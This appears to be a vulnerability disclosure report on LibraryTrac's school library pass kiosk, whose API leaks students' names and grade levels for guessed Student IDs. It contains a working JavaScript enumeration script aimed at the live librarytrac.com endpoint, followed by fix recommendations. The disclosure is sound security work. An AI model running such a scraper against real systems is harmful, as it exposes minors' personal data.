
LibraryTrac Data Vulnerability

This report brings light to a glaring issue in LibraryTrac, and more specifically, their “pass” or
“kiosk” system. If left unnoticed by the developers behind LibraryTrac, schools, and their

students could face their data being stolen.

Introduction/Background
LibraryTrac is a program/website used primarily by librarians to manage school libraries,

but also for use by nurses, guidance, and attendance offices, according to their website.

As for the case that this vulnerability was discovered, the website was being used by a
Frederick County Public Schools middle school, to manage passes for access to its library, during
different times. The pass system, after selecting a time, prompts for a Student ID, which is
intended to be used as a private, and secure identifier for each student.

However, the website does not use the Student ID as a password, it instead uses it
exclusively as an identifier for the student, which they will enter to sign up. However, with the
HTTP request which is made upon entering this field, it returns 4 major pieces of information,
being, whether or not the id was valid, the first name (which, also includes middle name), last
name, and grade level. The glaring issue with this is that you can now enter an id, and see if it's
valid, rather than having to already know who it belongs to.

Impact
This vulnerability can be used on any one school, as defined in the software, at a time.

So, you can use this to find information and data on what is typically an entire school's worth of
students. Any parent, or even a child, with a basic understanding of HTTP requests and
Javascript, can write a simple script that can retrieve an entire list of enrolled students in a
school, their Student IDs, as well as full names. Such an obvious exploit can be abused from the
website itself, as well as by interacting with the API elsewhere, which nearly makes all of this
data public information. Such an exploit also raises the question of if this may violate COPPA
laws, as many impacted students are under the age of 13.

Technical Information
This vulnerability can be easily abused by incrementally changing, or simply choosing

random Student IDs, and checking if they’re valid, if it is, the website will list the full name of
the student, also verifying that student’s ID. The API request that is involved with this
functionality also returns the grade level of the student, however, it is not listed on the page's
GUI. The API lacks a rate limit, which makes it incredibly easy to abuse.



The following is a proof of concept that is capable of gathering an entire list of enrolled
students of a school, as well as their student IDs, full name, and grade level. When a valid ID is
found, it will print the student ID and the returned JSON from the request, in just 31 lines of
javascript. Please note, that student IDs may vary by school, so this example assumes the Student
IDs begin from 0, and go until 100,000, which is not always true.

const delay = ms => new Promise(res => setTimeout(res, ms));

var uid = 0

var publickey = "" //insert public key

while (uid < 100000) {

const formData = new URLSearchParams();

formData.append("public_key", publickey);

formData.append("ajax", "true");

formData.append("data[barcode_check]", uid);

fetch("https://www.librarytrac.com/kiosk/pass/validateUser/", {

method: "POST",

headers: {

"Content-Type": "application/x-www-form-urlencoded",

},

body: formData

})

.then(response => {

if (!response.ok) {

throw new Error(`HTTP error! status: ${response.status}`);

}

return response.json();

})

.then(json => {

console.log("User ID " + uid + ": ");

console.log(json);

})

.catch(error => {});

uid++;

await delay(100)

}

Recommendations and Suggestions
There are many ways to solve this oversight/vulnerability in the software. Some ways to

solve the issue may be to include a rate limit of, perhaps, 5 seconds. A 5-second rate limit would
not solve the issue, however, it would significantly reduce the ability for someone to abuse it. For
example, the sample code, utilizing the vulnerability, uses only a 100-millisecond delay. At
100ms, it would take just under 3 hours to go through 100,000 possible Student IDs, whereas a



5-second rate limit would increase that timespan to at least 138 hours, which in that span, a
possible threat could be identified and blocked. A more reliable way of solving the issue,
however, is to modify the way a student is identified. Instead of matching a Student ID, it would
be much better practice to use an identifier of the student, such as the last name of a student, or
their first initial, and last name, and then a Student ID would simply verify the identity of the
student, where the Student ID would act like a password.

Conclusion
Overall, this vulnerability in the software of LibraryTrac provides a huge security risk for

the data of students, can be easily exploited, and can be taken further with basic programming
knowledge. The vulnerability can be prevented or patched through many different solutions.


